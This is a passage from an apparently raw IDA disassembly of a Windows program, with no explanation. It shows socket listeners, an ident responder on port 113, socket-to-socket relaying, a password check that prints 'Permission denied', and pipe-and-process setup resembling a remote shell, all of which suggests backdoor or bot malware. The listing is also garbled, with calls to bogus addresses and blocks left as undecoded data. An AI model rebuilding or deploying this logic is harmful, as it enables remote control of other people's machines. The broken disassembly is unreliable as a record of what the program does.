		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 0A8E8h
		dd 90022701h, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 2270146h
		dd 0E890EDEBh, 2270A95h, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F8h
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 59E89057h, 57022CF5h, 410CCC68h, 83E89000h, 85023500h
		dd 902975C0h, 2704E0E8h, 0D8685002h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
		dd 22CF520h, 8D106A53h,	5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 68E85056h, 900226FAh,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 226FA06h, 0E890EDEBh, 2270355h
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 35E89056h, 5B022CF3h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0000h


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 2760EB9h
		nop
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		call	near ptr 26A0000h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2700BFEh


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
